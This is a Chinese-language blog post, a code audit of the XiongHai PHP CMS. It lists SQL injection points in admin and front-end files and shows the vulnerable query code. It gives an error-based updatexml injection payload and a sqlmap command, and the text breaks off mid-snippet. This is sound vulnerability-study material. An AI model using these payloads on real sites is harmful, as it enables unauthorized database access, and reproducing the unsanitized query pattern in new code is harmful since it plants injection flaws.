熊海cms代码审计

原创

已于 2025-04-16 17:43:01 修改 · 701 阅读

5 ·

CC 4.0 BY-SA版权

文章标签：

#代码审计 #PHP #sql注入 #网络安全 #web安全

于 2025-04-15 21:02:41 首次发布

sql注入

1. admin/files/login.php

2. admin/files/columnlist.php

3. admin/files/editcolumn.php

4. admin/files/editlink.php

5. admin/files/editsoft.php

6. admin/files/editwz.php

7. admin/files/linklist.php

8. files/software.php

9. files/content.php

cookie伪造

文件包含

sql注入

1. admin/files/login.php

$user=$_POST['user'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());

变量user可控并被带到sql语句中执行

有单引号，需要闭合

使用了mysql_error函数，使用报错注入

步骤：

burp抓包，发送到repeater

payload: admin' and updatexml(1,concat(0x7e,(select user())),1)--+

2. admin/files/columnlist.php

$delete=$_GET['delete'];

$delete2=$_GET['delete2'];

if ($delete<>""){
$query = "DELETE FROM nav WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());

if ($delete2<>""){
$query = "DELETE FROM navclass WHERE id='$delete2'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());

变量delete和delete2可控，并被带到sql语句中执行，字符型，使用报错注入

步骤：

把数据包保存成test.txt python sqlmap.py -r test.txt

3. admin/files/editcolumn.php

$id=$_GET['id'];
$type=$_GET['type'];

if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error()